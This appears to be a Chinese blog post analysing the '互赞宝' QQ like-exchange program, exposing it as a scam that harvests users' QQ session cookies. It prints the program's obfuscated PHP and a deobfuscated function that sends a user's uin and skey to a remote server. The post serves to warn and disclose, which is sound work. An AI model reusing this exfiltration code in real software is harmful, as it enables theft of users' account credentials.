互赞宝真的是福利程序吗？(揭开互赞宝的骗子程序面纱)

发布于 6天前 / 138 次围观 / 4 条评论 / 技术分析 / 倾丞 / [百度已收录]

现在流行的互赞宝，与其说是互赞宝，不然直接说它是一款赤裸裸的骗子程序，会窃取使用者企鹅cookie，cookie是客户端与服务器的一个会话机制，浏览器会储存一些网站的cookies以方便用户与网站再次登录时，及时便捷的栈道已经登录过的内容（也就是说只要企鹅cookie就相当于获得了你QQ的全部权限，他和你的QQ密码有异曲同工之妙），就好比是做地铁买的零时卡，有了这张卡就可以畅游地铁站了，至于用途，贩卖给社区，卡盟等商家，可以帮别人空间点赞，刷留言，刷评论等等......

我们这里以一个简单的html单页为例入手

可以看到扫码认证区域调用了js

可以看到调用了远程API，这也是导致记录cookie的根本原因

下面是七云大佬分析API的过程

首先本地搭建某款互赞宝程序（此时就已经可以看出一点东西了）

接下来分析一下源码

源代码贴下

function get_mpzs($AA_____A,$AA____A_,$AA____AA,$AA___A__,$AA___A_A=1)
{
    $EfxF0=call_user_func_array("pack",array($GLOBALS[AA___AA_]{00},$GLOBALS[AA___AA_]{0x1}));
    unset($EfxtIL2);
    $EfxtIL2=$EfxF0;
    $A_AAAAA_=$EfxtIL2;
    unset($EfxV1);
    if(is_array($GLOBALS[AA___AA_]))goto EfxeWjgxtx;
    goto EfxldMhxtx;
    EfxeWjgxtx:$EfxV1=&$GLOBALS[AA___AA_][02];
    goto Efxxtw;
    EfxldMhxtx:$EfxV1=$GLOBALS[AA___AA_][02];
    Efxxtw:$EfxF0=call_user_func_array("pack",array($GLOBALS[AA___AA_]{00},&$EfxV1));
    $EfxL2=$EfxF0 . $AA_____A;
    $EfxF2=call_user_func_array("pack",array($GLOBALS[AA___AA_]{00},$GLOBALS[AA___AA_]{3}));
    $EfxL3=$EfxL2 . $EfxF2;$EfxL4=$EfxL3 . $AA____A_;unset($EfxV4);
    if(is_array($GLOBALS[AA___AA_]))goto EfxeWjgxtv;
    goto EfxldMhxtv;
    EfxeWjgxtv:$EfxV4=&$GLOBALS[AA___AA_][4];
    goto Efxxtu;
    EfxldMhxtv:$EfxV4=$GLOBALS[AA___AA_][4];
    Efxxtu:$EfxF3=call_user_func_array("pack",array($GLOBALS[AA___AA_]{00},&$EfxV4));
    $EfxL5=$EfxL4 . $EfxF3;$EfxL6=$EfxL5 . $AA___A__;
    $EfxF5=call_user_func_array("pack",array($GLOBALS[AA___AA_]{00},$GLOBALS[AA___AA_]{5}));
    $EfxL7=$EfxL6 . $EfxF5;
    $EfxL8=$EfxL7 . $AA___A_A;
    unset($EfxtIL9);
    $EfxtIL9=$EfxL8;
    $A_AAAAAA=$EfxtIL9;
    $EfxF0=call_user_func_array("get_curl",array(&$A_AAAAA_,&$A_AAAAAA));
    unset($EfxtIL2);
    $EfxtIL2=$EfxF0;
    $AA______=$EfxtIL2;
    if($AA______)goto EfxeWjgxuz;
    goto EfxldMhxuz;
    EfxeWjgxuz:return $AA______;
    goto Efxxty;
    EfxldMhxuz:$EfxF0=call_user_func_array("pack",array($GLOBALS[AA___AA_]{00},$GLOBALS[AA___AA_]{6}));
    return $EfxF0;Efxxty:
}
function get_mpzss($uin,$skey,$superkey,$uin2,$count){
    $url = "http://www.nb.huzanbao.cn:88/api.php?act=getmpz";
    $data = "uin=".$uin."&skey=".$skey."&qq=".$uin2."&count=".$count;
    $res = get_curl($url,$data);
    return $res;
}

所有用户的cookie会发送他们服务器，谨慎使用